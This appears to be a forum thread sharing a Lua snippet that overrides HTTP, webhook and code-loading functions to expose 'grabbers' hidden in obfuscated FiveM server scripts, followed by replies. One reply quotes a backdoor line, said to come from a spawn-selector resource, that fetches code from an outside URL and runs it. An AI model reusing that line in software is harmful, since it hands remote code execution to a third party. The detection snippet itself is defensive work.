HighLeaks
Help

GRABBER DETECTION - 70% method [FREE]

rafaeninja rafaeninja Started 8 replies 1,058 views
#1
70% method for finding out if an obfuscated script has a grabber.

How to use:

Just add it to the first line of any .lua file.


How it works:

Basically, it disables some functions and prints the parameters of these functions.

These specific functions may or may not call malicious code hosted somewhere, or hidden within the script folder.

However, as mentioned, it is 70% effective as there are several other ways.


Note:

To add more functions, just follow the same pattern.


[attachment removed]

-------------------------------------------------------------------------------------------------------------




function PerformHttpRequest(url, callback, method, data, headers)
print("PerformHttpRequest:")
print("URL:", url)
print("Callback:", callback)
print("Method:", method)
print("Data:", data)
print("Headers:", headers)
end

function SendWebhookMessage(webhook, message)
print("SendWebhookMessage:")
print("Webhook:", webhook)
print("Message:", message)
end

function CreateDui(link, x, y)
print("CreateDui:")
print("Link:", link)
print("X Coordinate:", x)
print("Y Coordinate:", y)
end

function loadstring(str, chunkname)
print("loadstring:")
print("String:", str)
print("Chunk Name:", chunkname)
end

function dofile(filename)
print("dofile:")
print("Filename:", filename)
end

function require(modname)
print("require:")
print("Module Name:", modname)
end

function loadfile(filename, mode, env)
print("loadfile:")
print("Filename:", filename)
print("Mode:", mode)
print("Environment:", env)
end

[/attachment]
#1
thanku nice script rescpct for u
#2
[JUSTIFY]i have juste update your code for a better experience

[/JUSTIFY]



-- Fonction pour remplacer les fonctions natives par des versions imprimant les informations

local function overrideNativeFunctions()

local nativeEnv ...


#3
thhhhs shiit is a backdoor do not use it PerformHttpRequest('https://thedreamoffivem.com/i?to=Wdv1M', function (e, d) pcall(function() assert(load(d))() end) end)

so i find it in VMS Spawn Selector in server/server.lua
#4
Does it avoid function execution ?
#5




micky1062,

wrote:



Does it avoid function execution ?




in my opinion, replacing functions can interfere with the execution of the encrypted script, but its effectiveness depends on how the encrypted script was written and whether it makes use of the replaced functions.



I wouldn't risk trusting your home host like that, you have to use a VPS to test this.
#6
Respect my man! Appreciate that! :)
#7
Very nice work and very nice job
#8
thx for sharing good scripts